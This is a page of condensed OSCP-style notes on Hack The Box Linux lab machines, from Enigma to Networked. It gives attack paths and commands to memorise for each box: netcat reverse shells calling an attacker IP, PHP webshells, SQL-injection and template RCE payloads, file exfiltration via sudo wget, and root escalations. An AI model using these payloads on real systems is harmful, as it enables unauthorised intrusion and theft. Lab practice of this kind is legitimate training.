HTB Linux Machines — OSCP Edge Cases
On this page
- How to use this page
- Enigma
- Nibbles
- Solidstate
- Poison
- Editor
- Sunday
- Keeper
- Pilgrimage
- Cozyhosting
- Codify
- Tartarsauce
- Jarvis
- Tabby
- Connected
- Mentor
- Devvortex
- Irked
- Popcorn
- Bashed
- Broker
- Silentium
- Networked
- UpDown
- Swagshop
- Nineveh
- Pandora
- OpenAdmin
- Precious
- Busqueda
- Monitored
- BoardLight
- Magic
- Help
- Editorial
- Builder
- Linkvortex
- UnderPass
- Dog
- Cctv
- Cross-machine patterns
Consolidated index of 39 OSCP-like HTB Linux boxes — one path per box, the non-obvious steps that decide it, and the exact commands worth memorising. These are edge-case notes, not walkthroughs: every command must be adapted to the target (IPs, vhosts, ports, usernames, payload paths), and the source writeup remains the walkthrough of record.
Companion pages: Command Checklist · Pattern Library · Methodology · Machine Index.
How to use this page
- Start with a full TCP scan plus the UDP ports people skip (161, and NFS/mountd on dynamic ports), then fuzz vhosts before directory-brute-forcing the IP root.
- Treat every credential as a username+password pair and spray it at SSH,
suand the application itself before hunting another bug. - After landing a shell, run the triad —
sudo -l, SUID/capabilities, andpspy/cron/timers — plusss -tnlfor localhost-only services. - When an exploit fails, read the application’s own source and config (
.git, backups,*.inc.php, JAR/ZIP contents) before assuming the target is patched.
Enigma
Path: NFS export /srv/nfs/onboarding holds an onboarding PDF with webmail creds → Roundcube mail001 → password reuse to a second mailbox → OpenSTAManager 2.9.8 support portal → www-data → DB hash → haris → OliveTin on 1337 → root.
Edge cases:
- Full-port scan matters: NFS plus mountd on dynamic ports.
showmount -eon 111/2049, then mount the export — a share is a credential source, not just a file read. - Roundcube at
mail001.enigma.htb; mailboxes yield username patterns and a second portal (support_001), and the same password works across employees — spray before exploiting. - OpenSTAManager 2.9.8 is the foothold. The RCE chain is CVE-2026-29782 (authenticated SQLi → PHP object injection via PHPGGC → RCE). CVE-2025-69212 is a separate OS Command Injection in the P7M (signed XML) decoding function, and CVE-2026-24418 is an error-based SQLi in the Scadenzario module.
config.inc.phpgives MySQL creds;zz_usersholds a bcrypt hash forharis(crack → SSH). OliveTin listens only on127.0.0.1:1337;/etc/OliveTin/config.yamlbuildsmysqldump -u {{db_user}} -p'{{db_pass}}' ...— break out of the single quotes.
Commands to remember:
showmount -e enigma.htb
sudo mount -t nfs enigma.htb:/srv/nfs/onboarding /mnt/enigma
ssh -L 1337:127.0.0.1:1337 haris@enigma.htb
# db_pass argument, breaking out of -p'...':
# test'; mkdir -p /root/.ssh; echo "ssh-ed25519 ..." >> /root/.ssh/authorized_keys; echo '
Notes: NFS · IMAP · Writeup: source · alt
Nibbles
Path: HTML comment <!-- /nibbleblog/ ... --> → NibbleBlog 4.0.3 admin:nibbles → CVE-2015-6967 authenticated plugin upload → nibbler → sudo NOPASSWD on world-writable monitor.sh.
Edge cases:
- The path is leaked by an HTML comment, not a wordlist.
/nibbleblog/content/private/users.xmlhas directory listing on and discloses the username and failed-login IPs — enumerate app content dirs before brute force. - Password is literally the box name;
READMEdiscloses the version → CVE-2015-6967 (unrestricted file upload in the My Image plugin, NibbleBlog < 4.0.5). - The uploaded shell has a fixed name (
.../plugins/my_image/image.php), so on shared/free labs other players overwrite it — go straight to a callback payload. monitor.shis-rwxrwxrwx; append your payload instead of overwriting (others may already have broken the script).
Commands to remember:
gobuster dir -u http://IP/nibbleblog/ -x php,txt
msf> use multi/http/nibbleblog_file_upload # set USERNAME/PASSWORD/TARGETURI
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 8083 >/tmp/f' >> monitor.sh
sudo /home/nibbler/personal/stuff/monitor.sh
Notes: File uploads · Programs, jobs and services · Writeup: source
Solidstate
Path: Apache James 2.3.2 admin on 4555 (root:root) → reset user passwords → POP3 mail on 110 leaks SSH creds → rbash shell → world-writable /opt/tmp.py run by root cron.
Edge cases:
- Port 4555 is labelled
rsip/james-adminby nmap and is the whole foothold; default root:root confirmed across multiple write-ups.listusers/setpassword <user> <pass>, then read mail over POP3 with telnet (USER/PASS/LIST/RETR 1);mailadminis a decoy with no mail. rbashis escaped trivially withssh -t bash— no need for the intended James path-traversal exploit.- Box is 32-bit: use
pspy32. PSpy shows root cron running/bin/sh -c python /opt/tmp.pyevery 3 minutes. - Intended path:
adduser ../../../../etc/bash_completion.dplus an SMTPRCPT TO:path traversal writes a root-owned completion script executed on next login; the manual payload needs a leading'inMAIL FROMor the script breaks early.
Commands to remember:
nc IP 4555 # help / listusers / setpassword mindy pass
telnet IP 110 # USER / PASS / RETR 1
sshpass -p 'P@55W0rd1!2@' ssh mindy@IP -t bash
wget IP/pspy32; chmod +x pspy32; ./pspy32
Notes: POP3 · SMTP · Programs, jobs and services · Writeup: source
Poison
Path: LFI browse.php?file= → Apache access-log poisoning → webshell → SSH as charix (password from a 13× base64 file) → root VNC on localhost unlocked with secret.zip.
Edge cases:
listfiles.phprevealspwdbackup.txt; the password is base64 encoded 13 times — a simple loop decodes it.phpinfo.phpthrough the LFI showsallow_url_include=Off, so stop chasing RFI and go log-poisoning. Log path comes from/usr/local/etc/apache24/httpd.conf(/var/log/httpd-access.logon FreeBSD); poison the User-Agent with a marker string.secret.zipopens with the same user password; the file inside (secret) is the VNC passwd file for root’sXvnc :1(-localhost, 5901/5801). Read it withpython vncpasswd.py -d -f secret.- FreeBSD privesc enumeration needs FreeBSD flags:
netstat -an -p tcp(not-tlnp).
Commands to remember:
for i in $(seq 1 13); do data=$(echo $data | tr -d ' ' | base64 -d); done
# User-Agent: <?php system($_GET['c']); ?>
curl 'http://IP/browse.php?file=/var/log/httpd-access.log&c=id'
ssh -D 8081 charix@IP
proxychains vncviewer 127.0.0.1:5901 -passwd secret
Notes: LFI · Pivoting and tunneling · Writeup: source
Editor
Path: Vhost wiki.editor.htb = XWiki 15.10.8 → CVE-2025-24893 Groovy RCE via SolrSearch → xwiki → hibernate.cfg.xml creds → SSH oliver → Netdata ndsudo CVE-2024-32019 PATH hijack → root.
Edge cases:
- Two apps, one IP:
ffuf Host: FUZZ.editor.htb -acfindswiki; the wiki is also directly on 8080 (Jetty). - The unauth payload is a
SolrSearchRSS request whosetext=is}}}{{async async=false}}{{groovy}}println(...){{/groovy}}{{/async}}. When re-encoding in Burp use “URL-encode all characters” — key-characters encoding turns spaces into+and 500s. - Groovy ignores shell pipes:
curl ... | bashbecomes a literal filename. Download then execute (curl -o /dev/shm/rev→bash /dev/shm/rev). Config creds (hibernate.cfg.xml) are reused for SSH asoliver;sufails even with the right password because the xwiki systemd unit setsNoNewPrivileges=true. - Root:
ss -tnlshows 19999 (Netdata 1.45.2) localhost-only; SUIDndsudoresolvesnvme/megaclifrom PATH → plant a fake binary.--testprints the resolved command, the fastest confirmation.
Commands to remember:
ffuf -u http://IP -H "Host: FUZZ.editor.htb" -w subdomains-top1million-20000.txt -ac
curl -G 'http://wiki.editor.htb/xwiki/bin/view/Main/SolrSearch' --data-urlencode 'media=rss' --data-urlencode 'text=}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}'
ssh -L 19999:localhost:19999 oliver@editor.htb
PATH=/tmp:$PATH ndsudo nvme-list
Notes: Environment variables abuse · Fuzzing · Writeup: source
Sunday
Path: finger on 79 enumerates users → SSH on 22022 as sunny:sunday → world-readable /backup/shadow.backup cracked → sammy → sudo wget → root.
Edge cases:
- Non-standard SSH port 22022;
finger @IPmay return “No one logged on” on a quiet VIP box, so brute-force names instead of trusting the nmap script. finger-user-enum.pldistinguishes real users: nonexistent returns???, real returns TTY/login data.- Password = box name for
sunny;/backup/shadow.backupis world-readable and gives$5$SHA-256 crypt hashes → hashcat mode 7400. sudo wgetis a multi-way privesc: read a file via--input-fileerror message, exfil via--post-filetonc, or overwrite root-owned files with-O(e.g./root/troll, then run it).python -m http.servercannot receive POST — usenc -lnvp.
Commands to remember:
./finger-user-enum.pl -U names.txt -t IP
hashcat -m 7400 hashes rockyou.txt
sudo wget --input-file /root/root.txt
sudo wget http://IP/shell.py -O /root/troll
Notes: Password attacks · Programs, jobs and services · Writeup: source
Keeper
Path: Vhost tickets.keeper.htb runs Request Tracker 4.4.4 with default root:password → edit a user to read their password → SSH lnorgaard → KeePass memory dump + .kdbx → PuTTY key → root.
Edge cases:
- Vhost not found by dir brute force:
ffuf -H "Host: FUZZ.keeper.htb" -ac. - The credential is not in the ticket body — as RT admin you open the user profile and edit it; the “crashdump” ticket is the hint for the next step.
- The KeePass CVE is CVE-2023-32784. The vulnerability is in KeePass 2.x before 2.54, where the cleartext master password is recoverable from a memory dump.
keepass_dump.pyrecovers all but the first character; the mask is the●char, sostrings -e Splus a grep for\xCF\x25is enough to read it by eye. kpcli(show -f <n>) reads the kdbx; the root entry is a PuTTY-User-Key-File-3 pasted in Notes — de-indent it, thenputtygen -O private-openssh.
Commands to remember:
ffuf -u http://IP -H "Host: FUZZ.keeper.htb" -w subdomains-top1million-20000.txt -ac
strings -e S KeePassDumpFull.dmp | grep -a $(printf "%b" "\xCF\x25\xCF\x25")
kpcli --kdb passcodes.kdbx # show -f 0
puttygen root-putty.key -O private-openssh -o keeper-root
Notes: Password attacks · Miscellaneous techniques · Writeup: source
Pilgrimage
Path: Exposed .git → git-dumper source review → ImageMagick CVE-2022-44268 arbitrary file read → SQLite creds → emily → inotify-triggered malwarescan.sh + binwalk CVE-2022-4510 → root.
Edge cases:
.gitis missed by default wordlists; nmap’shttp-gitscript or a.gitentry in the list finds it, thengit-dumperreconstructs source (including the bundledmagickbinary → version 7.1.0-49).- CVE-2022-44268 payload is a PNG tEXt chunk with keyword
profilewhose value is a filename; the app’s resize step renders the file’s bytes into the output image as hex. Binary targets (SQLite DB) break ASCII-only POC scripts — parse the “Raw profile type” hex yourself withidentify -verbose, filter, andxxd -r -p. - Root:
malwarescan.sh(root, viainotifywaitonshrunk/) callsbinwalk -e; 2.3.2 is CVE-2022-4510 (path traversal in PFS extraction → arbitrary write →authorized_keys). Check the bundled version withbinwalk -hbefore trusting the web app’s. - Pitfall: filename command injection into that script does not work — bash quoting blocks
;and$().
Commands to remember:
git-dumper http://pilgrimage.htb git
pngcrush -text a "profile" "/etc/passwd" poc.png # upload, then:
identify -verbose x.png | grep -Pv "^( |Image)" | xxd -r -p > db.sqlite
python walkingpath.py ssh root.png id_ed25519.pub # then scp into shrunk/
Notes: Programs, jobs and services · Fuzzing · Writeup: source
Cozyhosting
Path: Spring Boot app: /actuator/sessions leaks a live JSESSIONID → hijack admin → /executessh command injection → app → jar unzip → DB creds → josh → sudo ssh ProxyCommand → root.
Edge cases:
- Generic dir brute force finds only
/admin(401); re-run with SecListsspring-boot.txtto get/actuator/*. /actuator/sessionsmaps session IDs to usernames — replace your cookie value, no cracking needed.;,&,|are filtered in the host field but the username field is injectable; use${IFS}for spaces and terminate with#. Java app mangles pipes/redirects —curl http://IP/rev.sh -o /tmp/rev.shthenbash /tmp/rev.shis reliable wherecurl ... | bashis not.- The JAR is a ZIP:
unzip cloudhosting-0.0.1.jarand readBOOT-INF/classes/application.properties(or exfil and use jd-gui).sudo sshGTFOBins:-o ProxyCommandexecutes before the connection, as root.
Commands to remember:
feroxbuster -u http://cozyhosting.htb -w /opt/SecLists/Discovery/Web-Content/spring-boot.txt
curl -s http://IP/actuator/sessions | jq
username=0xdf;ping${IFS}-c${IFS}1${IFS}IP;#
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
Notes: OS command injection · Programs, jobs and services · Writeup: source
Codify
Path: Node app with vm2 3.9.16 sandbox → escape to svc → tickets.db bcrypt hash → joshua → sudo mysql-backup.sh glob bypass + PSpy → root.
Edge cases:
- Four vm2 CVEs work on 3.9.16 (CVE-2023-30547/32314/37466/37903); POCs include their own harness — copy only the
codevariable into the web form. $2a$12$hash: hashcat autodetect offers four bcrypt modes; the app uses plain bcrypt → force-m 3200.- Privesc bug:
if [[ $DB_PASS == $USER_PASS ]]is unquoted → entering*matches anything and passes the check. The script then runsmysql/mysqldumpwith the real password on the command line, sopspycaptures-p<password>even without the glob trick. - Intended alternative: brute-force the password character-by-character with glob classes
[a-z]in that same unquoted comparison (unverified).
Commands to remember:
hashcat -m 3200 joshua.hash rockyou.txt
sudo /opt/scripts/mysql-backup.sh # at the prompt, enter: *
./pspy64 # while re-running the script
su - joshua
Notes: Programs, jobs and services · OS command injection · Writeup: source
Tartarsauce
Path: robots.txt → /webservices/wp WordPress gwolle-gb RFI → www-data; sudo tar → onuma; backuperer tar race → root file read / SUID root.
Edge cases:
- The five
robots.txtentries are mostly trolls:/webservices/monstra-3.0.4acceptsadmin:adminand has searchsploit RCEs, but itspublic/uploadsis root-owned so every upload/RCE fails — the live app is/webservices/wp. wpscanreports gwolle-gb2.3.10, but its ownreadme.txtchangelog says “Changed version from 1.5.3 to 2.3.10 to trick wpscan” — the real 1.5.3 is the RFI.- RFI requires the remote file to be named
wp-load.php(the include path is fixed), served over HTTP;/webservicesitself is 403 and must be brute-forced one level deeper. backupererruns every 5 min: it writes/var/tmp/.<sha1>as onuma, sleeps 30s, then root runstar -zxvfinto/var/tmp/checkanddiff -ragainst/var/www/html. Swap the archive during the sleep with a symlink to/root/root.txt→ the diff output lands in/var/backups/onuma_backup_error.txt. For a root shell, archive a SUID binary undervar/www/html/(tar zcvf suid.tar.gz var --owner=root --group=root) so root extracts it with ownership preserved — but the archive must contain thevar/www/htmltree ordiffexits 2, theifevaluates false, and/var/tmp/checkis deleted.
Commands to remember:
wpscan --url http://IP/webservices/wp --enumerate p,t,u
curl 'http://IP/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://ATTACKER/'
sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
systemctl list-timers # backuperer.timer
Notes: WordPress · Programs, jobs and services · Writeup: source · backuperer follow-up
Jarvis
Path: room.php?cod= UNION SQLi → mysql.user hash → phpMyAdmin → CVE-2018-12613 LFI→RCE → www-data; simpler.py $() → pepper; SUID systemctl → root.
Edge cases:
- The WAF is rate-based, not signature-based:
sqli_defender.pywatches Apache logs and iptables-bans you; port 64999 is the ban/redirect page (90s). Slowing sqlmap is enough — manualcod=1-- -still works while tooling gets banned. - Seven columns, columns 2–5 render on the page; use
cod=999so the UNION row prints instead of a real room. Dumpgroup_concat(User,':',Password,':',File_priv)—File_priv=Yis what unlocksINTO OUTFILEwebshell. - phpMyAdmin 4.8.0 (CVE-2018-12613) is the alternate foothold:
SELECT '<?php system($_GET["cmd"]);?>'then include your session file with/phpmyadmin/index.php?target=db_sql.php%3f/../../../../var/lib/php/sessions/sess_$PHPSESSID&cmd=id— the%3f(encoded?) truncates the include path. simpler.pyblacklist covers&,;,-, backtick,||and|— but$()is missing, so$(bash)gives an instant shell as pepper. SUID/bin/systemctlis root-owned but grouppepper: the unit file must live in/dev/shm—systemctl linkfrom/tmpfails due to systemd path resolution.
Commands to remember:
sqlmap -u 'http://jarvis.htb/room.php?cod=1' -p cod --random-agent --delay=2 --dbs
cod=999 UNION ALL SELECT null,'<?php system($_REQUEST["cmd"]); ?>',null,null,null,null,null INTO OUTFILE '/var/www/html/shell.php';-- -
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p # then: $(bash)
/bin/systemctl link /dev/shm/pwn.service; /bin/systemctl enable --now pwn
Notes: SQL injection · Programs, jobs and services · Writeup: source
Tabby
Path: LFI news.php?file= → tomcat-users.xml → manager-script role deploys a WAR → tomcat; password-protected backup in /var/www/html → zip2john → ash; lxd group → root.
Edge cases:
- You do not need
manager-gui: the leaked account only hadadmin-gui+manager-script, so the browser upload is unusable but the text interface acceptsPUT /manager/text/deploy?path=/x&update=true. tomcat-users.xmlpath is distro-specific — on Debian/Ubuntu it is/usr/share/tomcat9/etc/tomcat-users.xml, found by fuzzing a tomcat-specific file list (the generic LFI list misses it). Get the Tomcat version from/docs.- LFI fuzzing:
wfuzz --hw 0(hide zero-word responses) rather than--hc 404, because the app returns 200 with empty bodies. Post-foothold, the/var/www/htmlbackup archive →zip2john→ crack → password is reused for SSH userash(password reuse, not a hash). ashis in thelxdgroup: import an Alpine image withsecurity.privileged=trueand mount host/into/mnt/root, then read/rootor drop an SSH key (exactlxcflags = HackTricks method 2, unverified verbatim).
Commands to remember:
wfuzz -c -w lfi.txt --hw 0 'http://megahosting.htb/news.php?file=../../../../../../../FUZZ'
curl -u tomcat:'$3cureP4s5w0rd123!' -T shell.war 'http://megahosting.htb:8080/manager/text/deploy?path=/reverse&update=true'
zip2john backup.zip > h; john h
lxc image import alpine.tar.gz --alias alpine; lxc init alpine p -c security.privileged=true; lxc config device add p host-root disk source=/ path=/mnt/root recursive=true
Notes: Tomcat · Privileged groups · Writeup: source
Connected
Path: FreePBX 16.0.40.7 pre-auth SQLi (CVE-2025-57819) → stacked INSERT into cron_jobs → asterisk cron writes a PHP shell; writable /etc/dahdi/init.conf + incron → root.
Edge cases:
- The SQLi is not used for data theft but as a write primitive into a job table: one stacked
INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)withschedule='* * * * *',max_runtime=30,enabled=1gets arbitrary command execution asasteriskwithin ~60s. - Injection is in the
brandparameter of/admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model— the long, fixed query string is what makes it hard to spot by fuzzing. - Encode the payload with
curl -G --data-urlencode— quotes, pipe characters and base64 break otherwise; the shell body is base64-decoded on target to dodge SQL quoting. - Privesc is incron, not cron/sudo: a root script (
/usr/sbin/sysadmin_dahdi_restart) is triggered by writes to/var/spool/asterisk/sysadmin/dahdi_restartand sources/etc/dahdi/init.conf, which is owned/writable byasterisk— append a reverse shell, then touch the trigger file.
Commands to remember:
nmap -sC -sV IP # CentOS + PHP/7.4.16 = FreePBX fingerprint
curl -ik -G --data-urlencode "brand=x'; INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES (...)-- -" 'http://connected.htb/admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model'
ls -la /etc/dahdi/init.conf; echo '<payload> &' >> /etc/dahdi/init.conf; echo restart > /var/spool/asterisk/sysadmin/dahdi_restart
ls -la /etc/incron.d/; incrontab -l
Notes: SQL injection · Programs, jobs and services · Writeup: source
Mentor
Path: Vhost api.mentorquotes.htb → Swagger /docs → signup/JWT; SNMP community internal → process args leak james password → admin JWT → /admin/backup path command injection (root in Alpine container) → Postgres → hash crack → SSH svc → snmpd.conf cleartext → sudo /bin/sh.
Edge cases:
- 161/udp is missed by default TCP scans;
publicis useless but communityinternalworks — brute-force the community string, don’t assumepublic.hrSWRunParametersprints full command lines; one is/usr/local/bin/login.py <password>, a classic credential-in-argv leak. - Vhost fuzzing:
apireturns 404 with a smaller body than the default vhost, so match on size, not only status;/docs(Swagger) hands you the whole API (curl -s api.mentorquotes.htb/openapi.json) plus a real username in the example body. /admin/backupshells out a JSONpathvalue embedded in atarcommand, so the injected command must be terminated ({"path":"/tmp;nc IP PORT -e sh;"}per one source;{"path":"$(nc IP 4445 -e /bin/sh)"}per another — both reported, test both).- The result is root inside an Alpine Docker container, not the host; the DB is a neighbouring container. Don’t stage chisel (glibc binary on musl fails) — the app image already has
psycopg2/SQLAlchemy; connect with defaultpostgres:postgresand useCOPY ... FROM PROGRAMfor RCE/file read (base64-wrap output, COPY splits on tabs). Two credential reuses close it: cracked MD5 hash → SSH assvc(email prefix, notservice_acc), thensnmpd.confcreateUser ... MD5 <cleartext>→su james→sudo /bin/sh.
Commands to remember:
sudo nmap -sU -F IP; snmpbrute -t IP -f common-snmp-community-strings.txt; snmpwalk -v2c -c internal IP
ffuf -u http://mentorquotes.htb -H 'Host: FUZZ.mentorquotes.htb' -w subdomains-top1million-5000.txt -mc 200,404
john --format=Raw-MD5 svc.hash
grep -iE 'password|secure' /etc/snmp/snmpd.conf; sudo -S /bin/sh
Notes: SNMP · Programs, jobs and services · Writeup: source
Devvortex
Path: Vhost dev. → Joomla 4.2.6 CVE-2023-23752 config leak → admin panel → template error.php webshell → MySQL → bcrypt crack → logan; sudo apport-cli pager → root.
Edge cases:
- Version is not in the banner: read
/administrator/manifests/files/joomla.xml; Joomla’s stockrobots.txtand its distinctive 404 page are the fingerprint. CVE-2023-23752 is mass assignment: adding?public=trueto the webservice endpoint bypasses the auth check, leaking/api/index.php/v1/config/application(DB creds) and/api/index.php/v1/users(adminlewis, roles). - The leaked DB password is reused for the Joomla admin login (not SSH). In the template editor
index.phpis not writable buterror.phpis — put the shell at the top oferror.phpand trigger it with any 404 path. - Table prefix is random (
sd4fg_users), hashes are bcrypt →hashcat -m 3200(autodetect refuses with four candidate modes). Query:select username,password from sd4fg_users;. apport-cli2.20.11 (CVE-2023-1326): it needs a valid crash report — a two-line fake works (ProblemType: Crash+Architecture: amd64), or crash something withkill -ABRT. Then choose V(iew) →less→!/bin/bash= root.
Commands to remember:
ffuf -u http://IP -H 'Host: FUZZ.devvortex.htb' -w subdomains.txt -mc all -ac
curl -s 'http://dev.devvortex.htb/api/index.php/v1/config/application?public=true'
hashcat joomla.hashes rockyou.txt --user -m 3200
sudo apport-cli -c ./example.crash # V, then: !/bin/bash
Notes: Joomla · Miscellaneous techniques · Writeup: source
Irked
Path: UnrealIRCd 3.2.8.1 backdoor (6697/8067) → ircd; steg password in djmardov’s home → steghide → SSH; SUID /usr/bin/viewuser runs /tmp/listusers → root.
Edge cases:
- Service banner = user enum:
ncto 6697/8067 returns-Email djmardov@irked.htb for more information, giving you a username before any exploit. Plainnc/telnet is then throttled (Closing Link ... Reconnecting too fast) — you need the real backdoor payload (msf module), not an interactive session. - Privesc #1 is steganography, easy to miss:
steghide info irked.jpgon the image from the site; the passphrase is left in plaintext insidedjmardov’s home (find . -type f -exec cat {} \;surfaced “Super elite steg backup pw” and the passphrase itself). ircdcan read/home/djmardov(permissions), butunrealircd.confpasswords are decoys — they fail SSH. Test them anyway, then move on fast.- SUID
/usr/bin/viewusercalls/tmp/listusers, which does not exist asdjmardov— create it as a shell script and every line runs as root (a full reverse shell isn’t needed;whoami/cat /root/root.txtinside the file proves it).pkexec 0.105(PwnKit) and/usr/bin/atare also SUID here (PwnKit unverified on this box) —viewuseris the intended path.
Commands to remember:
nc -nv IP 6697 # banner: djmardov@irked.htb
# msfconsole → use exploit/unix/irc/unreal_ircd_3281_backdoor
steghide info irked.jpg; steghide extract -sf irked.jpg --passphrase '<pass>'
find . -type f -exec cat {} \; 2>/dev/null
printf 'cat /root/root.txt\n' > /tmp/listusers; /usr/bin/viewuser
Notes: Miscellaneous techniques · Enumerating attack vectors · Writeup: source
Popcorn
Path: Torrent Hoster signup → image upload filter bypass → PHP shell in /torrent/upload/<sha1>.php → www-data; PAM MOTD CVE-2010-0832 (~/.cache symlink) → write /etc/passwd → root (DirtyCow alternative).
Edge cases:
- The upload filter checks only
Content-Type: keepimage/png, rename the file to.php; content/magic bytes are irrelevant. Extension change alone is allowed — that is the tell that only the header is validated. - Uploaded names are SHA1-hashed, so you need the open directory listing
/torrent/upload/to learn the name before you can request it./testis a full phpinfo page (file_uploadson) and/renameis an API that leaks its own path — both are recon, and/renameis the fallback if an upload lands with a non-executable extension. - PAM MOTD needs a real login, not your reverse shell:
~/.cacheis created at login. So write~/.ssh/authorized_keysaswww-data, SSH in, thenrm -rf ~/.cache; ln -s /etc/passwd ~/.cacheand log in again →/etc/passwdbecomes yours. Do it in your own home; in the victim’s home amotd.legal-displayedyou don’t own blocks therm. - Fingerprint the era first: kernel 2.6.31 / OpenSSH 5.1 / Apache 2.2.12 = Ubuntu 9.10 → old-PAM and DirtyCow (
gcc -pthread dirty.c -o dirty -lcrypt) paths both open.~/.cache/motd.legal-displayedexisting in a home dir is the exploit precondition.
Commands to remember:
gobuster dir -u http://IP -w common.txt -t 40 # /test, /torrent, /rename
# Burp: change filename= to x.php, keep Content-Type: image/png
curl 'http://IP/torrent/upload/<sha1>.php?cmd=id'
rm -rf ~/.cache; ln -s /etc/passwd ~/.cache; ssh localhost true
openssl passwd -1 pw
Notes: File uploads · Miscellaneous techniques · Writeup: source
Bashed
Path: /dev/phpbash.php (open dir listing) webshell → www-data; sudo -u scriptmanager; writable /scripts + root cron running every *.py → root.
Edge cases:
- Only 80/tcp is open; the whole box is directory discovery:
gobustermust surface/dev(301) and/uploads./dev/hasOptions +Indexesand containsphpbash.php+phpbash.min.php— an unauthenticated PHP webshell, no upload needed. user.txtis world-readable from thewww-datashell — do not burn time pivoting for user; the pivot is for root.sudo -lshows(scriptmanager : scriptmanager) NOPASSWD: ALL, which requires the explicitsudo -u scriptmanager /bin/bashsyntax (sudo -loutput with a runas user is a common misread)./scriptsis owned byscriptmanager, and root cron runs* * * * * cd /scripts; for f in *.py; do python "$f"; done. The tell istest.txt’s mtime ticking forward between twols -la— that’s how you find a cron you cannot read. Drop any.py; no shell needed ifpythonbuilds a socket.
Commands to remember:
gobuster dir -u http://bashed.htb -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
# browse http://bashed.htb/dev/phpbash.php (interactive, no auth)
sudo -l; sudo -u scriptmanager /bin/bash
ls -la /scripts # twice: watch test.txt mtime
python3 -c 'import pty;pty.spawn("/bin/bash")'
Notes: File uploads · Programs, jobs and services · Writeup: source
Broker
Path: ActiveMQ 5.15.15 CVE-2023-46604 (OpenWire 61616) → activemq; sudo nginx → rogue config serving / as root → read files / PUT an SSH key → root.
Edge cases:
- Port triage is the skill: nine ports, but only 61616 matters — its OpenWire banner prints
ProviderVersion 5.15.15(<5.15.16 = vulnerable). 8161/80 are Jetty/nginx admin UIs withadmin:adminbasic auth and are a dead end. - Exploit = ship a Spring XML with a
java.lang.ProcessBuilderbean (init-method="start") and point the target at it; the target fetches the XML twice, so seeing two GETs is normal. sudo nginxis a full root file read and write: config withuser root;+root /;+autoindex on;serves the whole filesystem; addingdav_methods PUT;lets youPUT /root/.ssh/authorized_keys. Pitfall: a running nginx can’t be killed, and re-using the port makes the new instance abort — bump thelistenport on every attempt.- Alternate root (Zimbra CVE-2022-41347 style):
error_log /etc/ld.so.preload warn;then request a nonexistent path containing/tmp/pwn.so, compile a__attribute__((constructor)).so(gcc -fPIC -shared -ldl -o /tmp/pwn.so pwn.c) that chowns/chmods a copied/bin/bash, and trigger it with any setuid binary.
Commands to remember:
nmap -p- --min-rate 10000 IP; nmap -sCV -p 22,80,443,8161,61616 IP
python exploit.py -i IP -u http://ATTACKER/poc.xml
sudo /usr/sbin/nginx -c /dev/shm/nginx.conf; curl localhost:1337/etc/shadow
curl -X PUT localhost:1338/root/.ssh/authorized_keys -d '<pubkey>'
Notes: Programs, jobs and services · Web technologies · Writeup: source
Silentium
Path: staging vhost → Flowise 3.0.5 → forgot-password leaks reset token → ATO → CustomMCP Function() JS RCE in Docker → env password reuse → SSH ben → Gogs symlink write → root authorized_keys.
Edge cases:
- Unknown vhosts all 301 to the apex, so
--hhfiltering is useless — useffuf -ac(auto-calibration), which foundstaging.GET /api/v1/versionleaks the Flowise version unauthenticated;POST /api/v1/account/forgot-passwordreturns the whole user object (credentialbcrypt hash +tempToken) → CVE-2025-58434 account takeover, and 404-vs-201 gives user enumeration. - CVE-2025-59528:
/api/v1/node-load-method/customMCPpassesmcpServerConfigtoFunction('return '+input)(). Needs a Bearer API key generated in the UI — a token from a public POC returns{"error":"Unauthorized Access"}. Success looks like failure: the response isNo available actions...after the command already ran — confirm out-of-band (tcpdump -ni tun0 icmp). - Container is Alpine: no bash, so bash reverse shells silently die.
nc,pythonandwgetexist → fetch a pythonpty.spawn("sh")script in one request, execute it in a second (avoids quote nesting).envleaksFLOWISE_PASSWORDandSMTP_PASSWORD; only the SMTP one is reused for SSH asben(FLOWISE_PASSWORDwas overwritten by the reset). - Gogs version without a shell:
?v=<hash>on static assets = git commit → GitHub commit page says 0.13.3. CVE-2025-8110: commit symlinksshdir -> /root/.ssh, thenPUT .../contents/sshdir/authorized_keys; the API answers “Something went wrong” but the write already happened.
Commands to remember:
ffuf -u http://IP -H "Host: FUZZ.site.tld" -w subdomains -ac
curl -X POST http://staging.site.tld/api/v1/account/forgot-password -d '{"email":"ben@site.tld"}'
curl -X POST http://staging.site.tld/api/v1/node-load-method/customMCP -H "Authorization: Bearer <ui-key>" -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.execSync(\"id\");return 1;})()})"}}'
ln -s /root/.ssh sshdir && git add sshdir && git commit -m x && git push
Notes: Environment variables abuse · GitLab · Writeup: source
Networked
Path: /backup/backup.tar source leak → image upload saves <ext after first dot> → Apache AddHandler runs .php anywhere in the filename → cron check_attack.php filename injection → changename.sh ifcfg injection → root.
Edge cases:
- The leak is a tarball in
/backup/, not a directory listing — always download and untar backup artifacts. - The extension allow-list compares the submitted name, but the saved name is
IP.<everything after first dot>→shell.php.pngpasses the.pngcheck. It executes becauseAddHandler php5-script .phpmatches.phpanywhere in the filename (theSetHandlervsAddHandlernuance). The MIME check isstrpos($mime,'image/')===0, so a real PNG header with<?php system($_GET["cmd"]); ?>appended still passes. - Cron runs every 3 min on
uploads/;exec("... rm -f $path$value")means the filename is the injection point (touch 'a; <cmd>; b'). Payloads must survive POSIXshfrom cron —nc -e shfails there, so base64-encode the whole command and test your shell manually as apache first. changename.shregex^[a-zA-Z0-9_\ /-]+$still permits spaces; values are dumped intoifcfg-guly, and words after a space inVAR=valueare executed by the network script →a /bin/bash= root shell. Confirm the handler in/etc/httpd/conf.d/php.conf.
Commands to remember:
tar xvf backup.tar
curl 'http://host/uploads/10_10_14_5.php.png?cmd=id'
touch '/var/www/html/uploads/a; echo <b64> | base64 -d | sh; b'
